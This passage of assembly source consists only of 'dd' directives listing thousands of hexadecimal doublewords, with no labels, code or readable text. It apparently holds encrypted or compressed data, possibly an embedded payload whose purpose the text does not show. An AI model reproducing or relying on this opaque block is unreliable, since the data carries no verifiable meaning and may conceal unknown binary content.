802651D5h, 1C34031Eh dd 0DDCA0813h, 65EBBE07h, 787E2BB5h, 518F542Ch, 1213FEB1h dd 0FC5F23BCh, 0A23FA98Eh, 0B3E74085h, 0C94C2C71h, 80EB0757h dd 0E23090EAh, 0E0B75373h, 0F6CF12FEh, 0F11DEFDFh, 0EF12CDDDh dd 419F3A04h, 2D13F4CBh, 0A377AF3Ch, 5E73ECB2h, 2D5471D4h dd 0E27D2FE5h, 93B8FF55h, 9B95EF2Bh, 0E5A7C987h, 487610AFh dd 6E5A4C0Eh, 4D8070Eh, 82C04E4Eh, 0F03FE9C9h, 0C20D0082h dd 357C3C2Ch, 7DF87EDFh, 0D6412C90h, 4D20F0C1h, 0AB469F52h dd 0EE9A5F2Dh, 8F9FA07Eh, 293E277Dh, 633AA54h, 0F10D5003h dd 0FAD83433h, 2566C146h, 17914AF3h, 2B8D030h, 762F699h dd 0E63B9052h, 6B609072h, 2BDE1D0Ch, 0BCE82838h, 77BB3A20h dd 2F5E1EB8h, 658B9E1Dh, 96E90AAh, 0A2053FACh, 5F9B49FAh dd 564CA096h, 18B927FDh, 83750AA7h, 0D6B49A25h, 0BAC46F90h dd 4548AFCFh, 6291123Fh, 0CADD5889h, 12EF5D77h, 20934425h dd 0E7FBA297h, 0F88192FBh, 6B40D22Ch, 73B8FEE8h, 4E49134Dh dd 0CBE2C5ACh, 58162ED8h, 74A3F028h, 0A1535E71h, 0B5E9D0C4h dd 1F5D47CDh, 0CD5AA401h, 2978DE33h, 8286EE70h, 3B636858h dd 5253307Fh, 907286BAh, 0CE628191h, 37FA6Ch, 7A145B75h dd 55408125h, 0C9801A5Bh, 7A7D38D6h, 9487708h, 2FC3497Fh dd 669D3E10h, 0A02B5F81h, 0B9110B79h, 0E240BF6Ah, 41F10207h dd 0FCDDE90Dh, 97FCA8F5h, 0AD09D010h, 8074FE68h, 1609F768h dd 0C6965595h, 0B0F5D2B5h, 5BF34052h, 61687197h, 737D1EE9h dd 0F00769A1h, 4AEC9FE9h, 26A034ACh, 3DACDFE6h, 7C0BD990h dd 84439C53h, 0BD005F77h, 5CB50CAFh, 3ED8104h, 20876D73h dd 0C0820164h, 25F26126h, 0F05A7728h, 81ECD151h, 3212EE0Fh dd 0F680FD9Bh, 2B99A8DDh, 40F54C09h, 0BF055320h, 0BA04C95h dd 55B72582h, 1AC3EB13h, 0DFC093ACh, 0CFCAF7FAh, 5AEFDCh dd 80C6B2A8h, 83E05FC2h, 0ABA5D3FEh, 74596E32h, 0EBBFC5FBh dd 129451Ch, 10A58055h, 0DE60095Fh, 87315E74h, 706C08DDh dd 8C85E001h, 87D1520h, 0CD284006h, 6E20CF63h, 490818CEh dd 874F1847h, 815C6480h, 98418892h, 80470874h, 82CDF0Ch dd 2F0D4018h, 62E28140h, 593B38DBh, 33D0702h, 1810F5C4h dd 201046E2h, 99681932h, 2190CA51h, 74571816h, 0C6C7D110h dd 18929B08h, 31585320h, 3E1096EDh, 0F1088C95h, 0C40818E8h dd 4344099h, 0FD0602EAh, 4FE0836h, 305311CCh, 69B864EEh dd 58600452h, 46ABF04h, 0A80469C7h, 0F392046Ch, 8AFEB06h dd 319E0720h, 0BD204B38h, 0A3E102B7h, 10E9628Ch, 1531D710h dd 448803B0h, 0B24021C4h, 221CAA3h, 4EC98CE4h, 8CFF5110h dd 18D5F508h, 7E6540AAh, 19D73B89h, 2098F608h, 1303C2ECh dd 6D1010A0h, 497A191Dh, 0EC535408h, 0F039104Ah, 0B31D18F6h dd 0C4148008h, 0CFBB118h, 62C369A9h, 0A1910FDh, 0F81D402h dd 1408EA6Ch, 40836B40h, 6540016Eh, 19886429h, 61890CC5h dd 7FF8A804h, 6145807Bh, 0E4FF08CAh, 15988788h, 0B824B036h dd 1B93912Ch, 0B310A729h, 0F0083EAAh, 899118E2h, 3A50A02h dd 812C634h, 38484ADDh, 930F0890h, 84B510Ch, 7698A984h dd 40A18824h, 30635A96h, 10E72808h, 10944218h, 5718860Ah dd 90E00844h, 4E9E20C6h, 0E9126608h, 6020A9B4h, 156120BEh dd 81C1033h, 0EA04EC88h, 9104044Dh, 9549BE0Ch, 0A208D665h dd 3756A846h, 71732020h, 10260531h, 9D03CB01h, 76BC8912h dd 8D61DC58h, 2F618074h, 8150FC80h, 1031FFEFh, 5796C9E4h dd 1F52201h, 8886398h, 431887B9h, 0C6B67761h, 3856D908h dd 8579933h, 40597CBCh, 0C0A95565h, 4138349Eh, 4921DF40h dd 0B44444EEh, 902C408Ch, 0CE082465h, 4D849046h, 88D45428h dd 2E21C4E5h, 0D1BC96D3h, 3188D420h, 3A084A8Fh, 0B02A01F7h dd 88392B01h, 2737728h, 0E8FC9C60h, 0C0B5A464h, 0C7480D15h dd 8EC78B1Eh, 0D0452544h, 752C4767h, 13EB020Ch, 6FB90E89h dd 5403DA7h, 408F4401h, 0C90B4901h, 748BF775h, 0DED07371h dd 0ABF04A03h, 0C0336F47h, 4FB10F80h, 0B82CD630h, 8BE90909h dd 40C7D691h, 3D66B951h, 90F0525Eh, 614E9629h, 8B722E20h dd 535DE99Eh, 21B502B7h, 4277BF9Dh, 0E703DF18h, 40131E52h dd 0D8BC0C68h, 65221CDEh, 0D3B5FBC4h, 9EE9850Bh, 0F5E8F8A4h dd 16A8B286h, 0AC5C3D7Bh, 3DA586Ah, 0E49A1BBh, 53CC123h dd 0FF884B89h, 0D972BBD7h, 903AD0D9h, 0D6F3F263h, 0CBF18B5Eh dd 4046026Bh, 46E04437h, 421D1915h, 0D3A5012Dh, 6E140267h dd 107D452Ah, 338729B0h, 0BD38726Ch, 0E91BC6A0h, 988AEE2Eh dd 0F607B681h, 0D7E66DEh, 0FECC2883h, 2482077h, 0C9BADBE9h dd 8484F0E9h, 6CA2BF21h, 465A4D89h, 0F3A24EE2h, 2DC8645Dh dd 0D16EBF0Dh, 6885682Dh, 0D69E4AA5h, 55AC900Ah, 455C2F3Dh dd 313C0084h, 0F1894021h, 2EE0BF5Eh, 30C4E278h, 86FC5A54h dd 9AEC2AADh, 0FEC8E982h, 90BD95D3h, 583BEC07h, 0FBD53D12h dd 1A35F23h, 0AB6851D1h, 3E051925h, 4E236C2Ch, 0CF26FCE1h dd 4DF2425Ah, 0A0F95701h, 89315DC9h, 682EF4EFh, 0E9501704h dd 838D843Ah, 0C4D6F82Fh, 468D32EAh, 0B51A7BE0h, 0E906474Dh dd 0B7862C16h, 0C1F6988Fh, 6D028BD8h, 0BBFD9698h, 403D8485h dd 50CBB933h, 0BE300DB4h, 0C6810BCCh, 504F66Dh, 52CE2928h dd 0D60842BAh, 917D595Ah, 0FFD68E7h, 0AEB32Eh, 0BF575E54h dd 0DBC2E44h, 1931E934h, 0E89B2BAAh, 0DA7AE909h, 0A16574D6h dd 0BBB8C5BBh, 0C05379Dh, 62BDF8B4h, 5D585E0Bh, 0C49A8B55h dd 378438F6h, 648F9E70h, 56E2AA53h, 1851E9C2h, 0D8886276h dd 9D4F3FFEh, 730E2DB2h, 0BB015F96h, 0BE20831h, 0F750C03Bh dd 9090F41Dh, 9EA6544h, 32E426C4h, 272A6C01h, 92F02EC7h dd 3F241672h, 2C0B50Dh, 17405A08h, 5E815192h, 0DC11AFF4h dd 0A0FD99E6h, 0E3E448CCh, 6260B1FEh, 1EABD0Eh, 816E0163h dd 83170DE5h, 9336305Dh dd 1AB03626h, 8285F51Eh, 64F106A1h, 3E601F6Ch, 0E2C0A5B2h dd 0D2F6041Bh, 0D417F204h, 16402526h, 0A3027ECh, 2550D47Ah dd 0F9575FF2h, 0A0084194h, 0BCA0141Ch, 7BBD67F3h, 32B5316Fh dd 0E5C389BDh, 9690DD57h, 995EDC1h, 2B933Dh, 445E8BB4h dd 5DE8896Ch, 781C0572h, 2B4E2DDFh, 0E984BC99h, 24BB3ACFh dd 488AFBF2h, 63250248h, 5F5ADA56h, 2709D479h, 61E0745Ah dd 7F0115A6h, 67AE6D88h, 0F3F93583h, 0B874ECDh, 7C865330h dd 0FE2801E6h, 5B0206CFh, 0B151D7F6h, 0AE605FA5h, 280245E9h dd 346859CFh, 69A2F64Eh, 0C56DB8D8h, 6E02415h, 0EFDFBE29h dd 0F4ED8764h, 7F307DFDh, 8FEEF40Eh, 14430420h, 0AA1B8DE9h dd 0E98545A6h, 8117D475h, 5421B786h, 459FC7Fh, 6097492Ah dd 0E7AF90C4h, 0EBE9CFE7h, 1D12DF96h, 37AA8B80h, 7C970305h dd 9008209Dh, 78E60296h, 0CB295FE9h, 0A5BCC165h, 0DDB4F52Ch dd 0C342D99Ch, 41D6DC02h, 6B9CEFE9h, 0DE21E275h, 9D3F6E41h dd 2BCC7F43h, 1D38B556h, 1759C4E9h, 3E4E7D72h, 0F0121DB3h dd 0C1110333h, 6EC107E0h, 0B4E77B59h, 0D57E547Bh, 52B7032Dh dd 0F02958E5h, 2BFFD3E2h, 6880206Eh, 7966154h, 0D1455D42h dd 313E92E5h, 862C18DFh, 6B139591h, 1261013h, 82F43BBCh dd 1C0C071Fh, 18431E98h, 0E0D7CC54h, 46F0BF26h, 0E16F9B25h dd 0FA21D5Fh, 446813E0h, 0C447EC15h, 919864E5h, 0BE3940EBh dd 0C2193609h, 0F56E8073h, 156CBA0Dh, 18549C68h, 869DF05Fh dd 51123B01h, 0E652BBB8h, 45604731h, 0E9E00DD1h, 7A5245A5h dd 9D67ECBh, 33B0C3C5h, 305BAF68h, 4E6E3B8Ch, 1EBEB2C6h dd 0C7CB0E2Dh, 207CFE67h, 1EE91A07h, 0C25F28ABh, 9E4D4094h dd 0BC4691DDh, 0B88C1D12h, 670EC43Bh, 0F48231BBh, 2ABEA640h dd 770AF80Ch, 93190CEh, 6A8C0277h, 0E30BEECh, 13EBE335h dd 7624259Ch, 488A0076h, 0B48B64E3h, 48E20Ch, 0C10BEE18h dd 0B8095FE7h, 0E2F102FBh, 431FE5D5h, 0DD34D54Dh, 25D21D80h dd 536001C8h, 9F7611BBh, 96423A22h, 0FD3B6C77h, 0F49A26E0h dd 8960F9F6h, 0CBBD5586h, 2657043Dh, 0FA5DEF29h, 0B090B94h dd 3509D858h, 9A729297h, 2EE90CD8h, 3C5BDA1h, 0E7F6B4A0h dd 0C82464BEh, 0FE01C998h, 1188406h, 0C7B406EBh, 8636C53Eh dd 4A6CBF39h, 5B787E01h, 0B12B6EFFh, 24AF0039h, 85E32005h dd 60420B46h, 0E985E41Dh, 0CA132E37h, 2813EAB3h, 1865BA42h dd 1E30958Dh, 0D9539755h, 12053D08h, 2517E821h, 95D7780Eh dd 45B536EEh, 0B24A8DEFh, 0E0B67B0Ah, 0B164277Ch, 0EE4368D1h dd 42AE0E13h, 3175DAF7h, 48BABD5Fh, 70761FE7h, 0D382BE9Eh dd 64FEC7E9h, 4210BDF4h, 4AD60C12h, 0DB901A06h, 6ACD9722h dd 758C5292h, 0E3B76248h, 2B761460h, 0D5D7FC62h, 7B5FAF19h dd 35AAFB85h, 0F4ABB9E3h, 9DDE25C3h, 0B686B8B9h, 229F26ADh dd 7FF82548h, 0D24996C6h, 685513D0h, 288CE404h, 0ED8661A9h dd 5524193Dh, 0DD17565Bh, 0BAC070FEh, 0D827050Eh, 2817A66h dd 9927FAF5h, 0CC5DD529h, 52E91B6Fh, 47E2745Ch, 1EECDC1h dd 1E6302BAh, 8213EA01h, 6E80E93Eh, 33E38613h, 6E9206D3h dd 0E8955320h, 2EDB5278h, 1041D1FAh, 48503D96h, 7B9C25E2h dd 5B71A7FBh, 29DCD63h, 48D2CA29h, 0ED8B7F49h, 65CFB503h dd 0A9E99BA2h, 85D83E5Eh, 0EE4C54DBh, 0B28FEEEAh, 0F3801367h dd 8904EE2Fh, 4EAAC2Ch, 0AA0B5E35h, 76F8DF49h, 0A27D72D6h dd 6F7FE8Fh, 0DA1B4266h, 0B7509D04h, 0D9B65240h, 18FD98C0h dd 5690B5E9h, 571E09BBh, 268D31A8h, 0FFDA1424h, 7AAF49E5h dd 5D9BF17h, 0AA27927Ah, 434C27ADh, 20BF3DE9h, 8723AACBh dd 31AEE50Fh, 664756BBh, 43C8187Ah, 353AC10h, 0EBD0B8B3h dd 0BEE9C3FEh, 5CD24CF8h, 2466C595h, 4E715238h, 0DBED5D69h dd 0D2C396BAh, 3EC97871h, 7AD1D87Bh, 61E8505Eh, 17869CC0h dd 0CD2401B5h, 0E9857159h, 76AFA713h, 0B401F702h, 3AB5512Ah dd 932ACDFEh, 0EB8138C3h, 6BC3D859h, 0F4E3E91Bh, 0AB80CC40h dd 7CA80CF0h, 92072D2Ch, 0C75A425Eh, 36AC33E8h, 455A4750h dd 5F77317h, 4D77FCA4h, 0F00244CDh, 59225D44h, 3D5F68FDh dd 8663BAA8h, 5DFA7EB3h, 0D25FB884h, 5BE86E2Eh, 691E4325h dd 1B8B2A63h, 2D34A030h, 4AC60BC2h, 3030EF07h, 95703AE9h dd 0A16C2F24h, 793C2ED4h, 40F64085h, 3770BFh, 0F53507E8h dd 17027E4h, 0CD1C34Ah, 4A92B5ABh, 0EB8CA05Dh, 76FD0BB7h dd 0E05A7A97h, 71431125h, 1BFF826Fh, 9B80211Eh, 3F265AB3h dd 0A5136798h, 0DAF0BC25h, 37D489Bh, 5DEA0102h, 4C7DD689h dd 133601AAh, 0F02945FAh, 0A807452Dh, 1FE7D1Ch, 0EC7EFC95h dd 27F1DC7h, 9E85719Dh, 0A7CA5DDh, 13C6C740h, 0B1FA4AC3h dd 68F90C9Fh, 0B63FD945h, 0A05826AFh, 0C502B511h, 1054159Dh dd 0ED93855Dh, 0BA9E0818h, 6F1F023Eh, 0F9AFE917h, 82058848h dd 1A68A40Ah, 0D5689573h, 0D106C218h, 3079BD5Ah, 121A360Eh dd 4D38EBAh, 7770E955h, 99689FBh, 68FBDC81h, 60287D24h dd 0E25B09Fh, 1AF292C1h, 3B12E058h, 51D562E8h, 9F331EFDh dd 7B627AD9h, 0F4F8B05Eh, 74232879h, 38AE0B86h, 59027C65h dd 88AB951h, 0F35A93F0h, 0BA65E0Ah, 27339810h, 3D61FB53h dd 106634ADh, 0D8842AB5h, 38E25297h, 6188D39Dh, 430388Ch dd 10AC19BBh, 10147658h, 0F14A0FEBh, 6F047B96h, 4FB0341Eh dd 2BEC0FC1h, 907C1147h, 98680A15h, 6BD227h, 9D6E5ECAh dd 1858B72Ah, 23B77B1h, 0CB5779F3h, 9D48DD31h, 5D82BB4Eh dd 0C3A94703h, 79C75512h, 63C078A8h, 2971A469h, 545F0880h dd 5156C601h, 15BF0FBEh, 107C5EA6h, 0AC5A3D43h, 0B25B51C3h dd 4C617AEBh, 0C2730893h, 3D37F514h, 0E9D8FC40h, 0A06A2820h dd 307CC867h, 0FDE223E0h, 0C047254h, 51E9DA31h, 0F33FB1B1h dd 0C7921A5Ah, 97B1DA3Ah, 0D95F4142h, 6856E083h, 189F71D0h dd 0A82B086Dh, 1DD4E5BDh, 801E7B4Eh, 984B66F5h, 0EF4EE96Dh dd 0EDD13D06h, 69D90C1Ah, 0A0326061h, 24DD6810h, 512FC605h dd 851CBA36h, 4989F8DFh, 405E3259h, 9A168DAFh, 0E95F0BEBh dd 49AB69DCh, 7025C072h, 0C99EA238h, 407099Eh, 45ACD3BFh dd 82068F7h, 79FF584Ah, 8A812F9Dh, 0BD2EF3B8h, 528982h dd 7C583A9Bh, 0C8789770h, 9943DC1Fh, 0E5EF8100h, 5F0A1FC9h dd 0C9B6A289h, 0F312231h, 7F044AF0h, 5A4609C5h, 0D05C589Bh dd 0DB0E6327h, 0FF5BD844h, 550232Ch, 0C31936B8h, 345DA873h dd 2DC32076h, 2063D05h, 39AC889Ah, 0FD2CCC62h, 255BCF2Eh dd 58CBE4F8h, 0D5071076h, 0DF6B5478h, 4C81C912h, 0E3CB27B8h dd 237BCED9h, 5E4A62DAh, 2A6EDF0Dh, 338C8796h, 5FD1C631h dd 3C9AC0E1h, 0E89E7DBBh, 5CA3F449h, 7EBC109h, 0E310E056h dd 27A998ACh, 0A49BF089h, 2958C6C0h, 6FC77197h, 53D8DEC9h dd 0FBFC2FE1h, 9863189h, 95F608D9h, 7AB2575Fh, 6B18724Ch dd 0A0EF970Ch, 7336112h, 0FD7791FEh, 77E0A523h, 0B097E89Eh dd 4BA568FAh, 132FE37Fh, 0EFAC296Eh, 0E9C2D8A4h, 85C85530h dd 3D721CF1h, 3E9806F7h, 0DFF6168Bh, 0E54D04DEh, 9C3A127Ch dd 67106327h, 89045E3h, 4BB2B84Fh, 997F32BFh, 8E8F245Dh dd 0DAAB2895h, 0E9C561C9h, 5B003DDFh, 531D432Ch, 0D3530BB7h dd 123512FAh, 24204ABh, 0F1800011h, 7BD1F64Ah, 0BB5895D0h dd 0E25F3ECBh, 929F79B7h dd 51CD4C4Fh, 4C13C7D4h, 0B0087C6Ch, 5A5C0B9Ch, 0E153835Fh dd 377A3FB4h, 31CFFBBCh, 52D30EFh, 0CA0831EBh, 172F2259h dd 6CBCC868h, 0C620E64Eh, 0BC0179Bh, 4E8E6850h, 20B41130h dd 0C1530D00h, 0F78103E7h, 1A7402C8h, 1FB3E9D7h, 4DEA1248h dd 7A7B6DFEh, 0E6F17E2Fh, 82D1778Eh, 0ED3CE0F5h, 0D70082F5h dd 0BF4A3022h, 0A5F1215Fh, 8319A503h, 0DCEEF806h, 3162D71h dd 12C62205h, 0BA5F9108h, 45E853E0h, 0FE57735Eh, 0E76829A4h dd 0E1B48D2Ah, 47FFC201h, 0E97425A1h, 26054C8Dh, 98A3B47Bh dd 1EE2234Fh, 2E4168C2h, 0ECCAE9B3h, 20D6F2C9h, 609CF91Dh dd 0CF93DDE9h, 9CB0578h, 8DFC05D1h, 188F28AEh, 0C77256h dd 0BDB35ABh, 5BDE781h, 0F712DD14h, 0C0C1BED7h, 7F933BCh dd 2D02AF15h, 0ECF0BDE9h, 10E9F3C5h, 1FD112AFh, 25F0A408h dd 49A5575Eh, 0D0B86C77h, 7F4FBA02h, 626043F9h, 6A7E457Eh dd 120D0CC0h, 0C2319988h, 125CEF6h, 3AFCEF00h, 56165CD8h dd 0D31B187Ch, 5AA90C08h, 0FE7DAE27h, 1608A0A0h, 8376E957h dd 0C0BD5218h, 437A9D08h, 442F2F7Dh, 6EA1DA49h, 280BE482h dd 7E426F82h, 86AA5504h, 97F8C319h, 56277DB6h, 2E565180h dd 472F3BF9h, 0FE2F557Eh, 77BE4056h, 6209DB72h, 7E5EF731h dd 3F845296h, 66A8CCBFh, 98A61497h, 56115C0Ah, 0B53B61D7h dd 5F283E60h, 68C00BB6h, 88181658h, 0E9162AB5h, 1DB4CB23h dd 4A0D163Bh, 0EF47C231h, 0BD550880h, 7DF40FA2h, 0B2454D24h dd 7205202h, 6336014h, 160E2D74h, 0C357924Ah, 7184B0DCh dd 0C4D67E1h, 2E595283h, 0D02734DEh, 68789743h, 262B6DBFh dd 0BB721287h, 0E3009B39h, 5CC54161h, 2720FC18h, 84E0D327h dd 6601EDF3h, 49392C68h, 0EF5BF4A4h, 10F4139Fh, 5043682Ch dd 0C6AC1BBDh, 9554D320h, 5521FA4Eh, 0F99788BDh, 0EAC5817h dd 0B71390F4h, 0CF7286F2h, 26E9E113h, 7A8730C5h, 0D7FA2E0Bh dd 0CE898344h, 6B7D89FFh, 51362780h, 0B1017C6Eh, 0F2E7A76Fh dd 0FD34FD0Bh, 413DFF10h, 19EA8080h, 0AD2F65Ah, 0E6F06A85h dd 0FCB10951h, 3AA509E9h, 99DBC35Dh, 29756DB8h, 1432FA58h dd 0D3BD7D9Eh, 5D559B0Bh, 8B55933Ah, 11A577Eh, 449B1A5Dh dd 85752511h, 1DEC717Eh, 0B4667468h, 0E4F26412h, 904B0B07h dd 1CB18ED7h, 1699F63Dh, 0A5E2F7CFh, 937F363h, 0CD4D088h dd 903F0C50h, 0D8F63E96h, 979829ADh, 3758B551h, 0E9AD048Ah dd 59099D64h, 80F2AC78h, 1ADD704Ah, 2DB39020h, 0B7F0495Fh dd 3D536001h, 0B8FFE92Ch, 0B45EFC73h, 6A4191A6h, 9428F340h dd 6065B066h, 0F9BA14EFh, 271ACD72h, 420BFDBEh, 80633A80h dd 49797F7Fh, 134D9077h, 41854B3Ah, 5069B58Ah, 82F43AB6h dd 2E6E80F7h, 0E9441F0Fh, 0FDC7DA3Ch, 14D5AE82h, 9BE3AE68h dd 0C03E2338h, 0C5FE12EBh, 5496BFF5h, 3534B782h, 2E8FE789h dd 0A0A127E8h, 0B8227AEDh, 0ABA4AA0Bh, 2B36EA07h, 1BC541F7h dd 0BF0496B5h, 0AEB004BBh, 0D1CF91FBh, 4AAA1871h, 3A5FD95Ch dd 0E4D220B9h, 564D84CCh, 6FE907B9h, 72FCCE62h, 0CF76601Ah dd 6E364BEFh, 46DA3060h, 340AC562h, 1A1CD729h, 14091C08h dd 8A426690h, 0F27791BAh, 0FF81DA4Bh, 3C60C531h, 62D89C14h dd 14FDF5BFh, 0B4302DD8h, 145D72ABh, 0ED0227CCh, 6072F7FCh dd 9119805Ah, 7C420044h, 0C8294FA0h, 23759B7h, 0C2280B04h dd 304941h, 9F08EBC1h, 9AC35740h, 88C46090h, 890B1D3Bh dd 13CF2254h, 50D40BAh, 54F4DFFEh, 0E3C1E92Ah, 29AC0439h dd 0A009882Eh, 0C3282018h, 0B0126E4Fh, 3C420B4h, 133AB907h dd 25A56D61h, 1B6A1F0h, 7EEC0EAh, 0CC3BE680h, 0E915F9F6h dd 4FADF7D8h, 6EC31637h, 0EF630336h, 3F2E7606h, 4E634D9h dd 91CCA3AEh, 0D2F709ACh, 2E005F4Ah, 450E5DA4h, 5320ADBAh dd 0E8312E82h, 64211A39h, 427B7957h, 0E15612F5h, 0F0D1A62h dd 0CD6BDDA5h, 0B5A66FEBh, 0EA027C2Dh, 7B599DBEh, 0B03B70A7h dd 956878DBh, 74CFA71h, 287934E9h, 275FB892h, 0D8BD5E4Bh dd 0AD80EBE8h, 4CCF2568h, 5205D3E4h, 3274FCBAh, 5AD6EC00h dd 2638D705h, 265270CEh, 1B510FE8h, 0F6817FC0h, 69E01AF8h dd 770E4667h, 0E8619573h, 2C5338E6h, 3EF2E45h, 4E3D4F7Ah dd 0FB492401h, 84E9A708h, 0BBD8033Eh, 38D040ADh, 0BAB8DBF7h dd 0F6938B6Bh, 50E7054Bh, 0F330C06Ch, 7A27367Dh, 7907532h dd 3E6E054Fh, 8069812h, 5B8D24E9h, 0BA868028h, 0CE311560h dd 348D18D2h, 7610DA62h, 50A06086h, 0BA0A935Dh, 105AB545h dd 0AF0B692Ah, 0DE5C74D4h, 0EC735490h, 0E7C148A6h, 5B0305C0h dd 2D097114h, 0A0B52CEh, 7209225h, 611145F9h, 30C331A7h dd 53B2B943h, 7651EA27h, 58E58F37h, 0F8E9EF21h, 60946D3Eh dd 201A8992h, 32E2CC19h, 250FEACDh, 0EF10A060h, 0C648A6D7h dd 0BE38D61Bh, 56511562h, 135A27D9h, 0ADB1E62Eh, 278E7652h dd 0BE96DDC5h, 268D3D60h, 7E3498DBh, 8AC7A35Ch, 0C68301C3h dd 6B34001h, 3D766741h, 19B826F2h, 84A4FA58h, 884373AFh dd 0E79A53FCh, 65949A75h, 5B588237h, 0DB55E830h, 33AB2DD8h dd 0C806A204h, 6DE056Eh, 0DF00D42Ch, 0E9366D1Eh, 843C4B24h dd 0EE2B125Ah, 98A2391Eh, 6CF1F068h, 31AA1DABh, 56521D40h dd 0A64EE250h, 5F2C206Dh, 817F00EFh, 0F9A41F1h, 2D53A558h dd 0CC5C5C8Ch, 0E54E6808h, 9DE930AFh, 6D78CB4Fh, 242CE48h dd 0B217BAE6h, 1C55C50h, 0E94D4B2Dh, 66E450B1h, 347472BFh dd 0C68943B7h, 0A0C74C0Ah, 0EE4BC158h, 63F2F129h, 0A852FBE2h dd 133A6BBAh, 9D1A07E9h, 2F663C28h, 0BBDE76EEh, 0D020FB93h dd 8C372C94h, 4C785558h, 4E0973A9h, 0F64FE948h, 20632B5h dd 547DBE80h, 2D044C69h, 0A7D36351h, 98F95DBAh, 0C6E225Ah dd 98643130h, 4B276A35h, 0D2288051h, 69B84A03h, 0D35FC200h dd 0D031B4BCh, 5655BE9h, 0BBAE6884h, 8BBFC934h, 7A4A60E5h dd 17722D27h, 0B3BFA4E9h, 0DAC72FF0h, 87D33104h, 22C8201Ah dd 17573E32h, 5556BA4Ch, 0C7013591h, 96F57E60h, 486841D3h dd 0A47C7D4Bh, 13330623h, 0C4B0E922h, 1B84ABC8h, 0EE27EBFCh dd 0AA90D2C4h, 0EF6A216h, 2D144D08h, 450F02D8h, 8620430Dh dd 92FD6BDh, 75B39EBh, 2A4EA57h, 6A18E908h, 4E0BC895h dd 8362941Bh, 4C5334EBh, 55583425h, 47B77914h, 81E9B464h dd 1621B8Ah, 97EC731h, 965E6FA2h, 0D155FA67h, 75F950E1h dd 0E77B6907h, 1B3CD08h, 8E5ABF05h, 685FE962h, 34A85B6Ch dd 1931EC26h, 3A793160h, 7B0503C0h, 27012C63h, 6E121D36h dd 61288284h, 10E1204Dh, 3C6AD47Eh, 90CF2924h, 59630820h dd 0F01E5A1Eh, 9A91E963h, 3C43BDC8h, 98EC1DC1h, 5BBE8864h dd 16EB3880h, 0C3BACB3Ah, 9CF2FDCBh, 0E951073Dh, 120E3981h dd 0F66028EAh, 53056AB0h, 66E95652h, 0ED902FD7h, 9CD5F702h dd 5E0F0BABh, 0EACBF30Fh, 254F965Dh, 9966B59Fh, 17C64695h dd 610E2568h, 230AF74Ch, 50551A90h, 4F79D07Ah, 0B0C99529h dd 690BD6B5h, 0B2522091h, 7834276h, 0F592AE94h, 0E9A38125h dd 5E365805h, 332F3804h, 0E281AA4Fh, 6A89606Eh, 88A01603h dd 722215C2h, 732C16CFh, 9D2F08ADh, 9E0B7EFBh, 6DB686Dh dd 5313F23h, 0E993CD30h, 0F99FB8F9h, 0ED8B4F7Dh, 0B8542825h dd 600EB13Ah, 5525DB63h, 5D05A1CCh, 129CFE9h, 0ABED74EBh dd 0A10F9244h, 7FF59DBBh dd 0D42C8434h, 0F7DD0287h, 925DE9D3h, 0DBC160CAh, 0F2206E16h dd 0D8CB11FEh, 5854A1D7h, 0B8345578h, 27B027C4h, 5D4F04A2h dd 0FA02E7C1h, 0D71ED6B3h, 26B24D1h, 3F494E15h, 528ACFC0h dd 198B427h, 0C942E900h, 62FBB34Dh, 19979624h, 2976B9E0h dd 0C559930h, 7C2510BFh, 0C7E30549h, 0C54F7543h, 0C3C788DAh dd 9FAB45Ch, 60DA893Dh, 440A4E0h, 96E928AAh, 0CF88A809h dd 37FFEE4Eh, 46D608A2h, 0D022D7CCh, 56D0BD07h, 5CA247DCh dd 1C54487h, 3BE18103h, 0E765D83Ah, 575004B0h, 830BF0Eh dd 0E7D1C42Bh, 819E00BBh, 65AF6FF7h, 2D807358h, 39AFFA5Fh dd 82DE3222h, 81091751h, 0BB45082h, 0B707C6E8h, 10BA0DB4h dd 0CDF31D32h, 481941E2h, 7C93F425h, 731A1F02h, 72F7FE12h dd 0F1FB633Eh, 0C5EC5896h, 11D1E9E0h, 6884B097h, 0A47774CCh dd 58B205DAh, 0EE8CCA80h, 2AA11A81h, 8BB11D3Ah, 92471D78h dd 5E9E6805h, 0EBD2D3E3h, 9DE492D8h, 577702Bh, 77A2014Bh dd 0E5407109h, 93638C84h, 48A8B869h, 249F652Eh, 4CA4A8BEh dd 742B0BC3h, 4D0347FEh, 0FF13992h, 0BC243E52h, 0BEE716B4h dd 0C68007E6h, 8FEE3301h, 50F00609h, 2CD3E0B0h, 8EE913B9h dd 82B8BC7Fh, 5867E510h, 909E9860h, 25193DFBh, 0A159F5CCh dd 5093F604h, 0C66780BEh, 0D8F9CBAFh, 0A996F389h, 0C8A09189h dd 287B269Eh, 16670912h, 0F90102FFh, 9D39E8Eh, 4273D0AAh dd 0AEB0D930h, 0B49C85Ch, 84552CD0h, 0DEA16B9Eh, 81C4137Ch dd 0C1354B6Fh, 0F16B5A33h, 6C992E78h, 44613920h, 25FC0C2h dd 3486C8EDh, 0BB073E2Dh, 708BDFCAh, 0A2FADED4h, 30E90BC9h dd 2A91A237h, 56202C0Eh, 4B1328F2h, 0EC06669Ch, 260F34F6h dd 2582F7E9h, 7E25EA53h, 2DEE5021h, 482FE316h, 0D51269F8h dd 8374379Dh, 10032A75h, 0BE30F525h, 4AF3D301h, 5BC609CFh dd 0A5AB00DFh, 778AB08Eh, 1D3CC153h, 325DB87Fh, 94B116F6h dd 7168B6D0h, 805258C0h, 5C4B8F20h, 792D68E5h, 0EBE46F13h dd 211108Ah, 2A9A2F87h, 801EFD0Ah, 34F5DF4Ch, 6E1D0B68h dd 2E8519DCh, 4884001Bh, 0CED82D40h, 294F04Ch, 97741EC5h dd 7E58E13Ah, 0C569A62Eh, 499011E9h, 9D215D5Ah, 0ADFA11B3h dd 0B68242F2h, 9605E755h, 0D00CE47Eh, 0E5B85A4Fh, 40E0D1A1h dd 88E940C3h, 0ECD304Bh, 0BF081604h, 8C531DEBh, 0D9436C59h dd 4EAFA2B5h, 75C0514h, 343C6E1Eh, 4F88EA0Eh, 1F5324E9h dd 0D3B281BFh, 0C2D2EA80h, 0C76607DFh, 12F7278Fh, 93FE88F3h dd 32BAE5F5h, 0E1E3508Dh, 6F58E6F1h, 30357B2Eh, 2F300C44h dd 724689Eh, 8863657Ah, 0BF8594D3h, 80898EA2h, 86515E82h dd 2D61A4A2h, 0B94D5B03h, 782D3BFDh, 88F814DCh, 0B312284h dd 0BE965566h, 66D8442Dh, 0A9681772h, 628E8C7Ah, 4691E59h dd 2FB2578Ch, 0F881E80h, 0BE7D58C2h, 0D0753504h, 406D8754h dd 3133C44Bh, 1A5DEB2Eh, 40F9762Dh, 6E4A9AA6h, 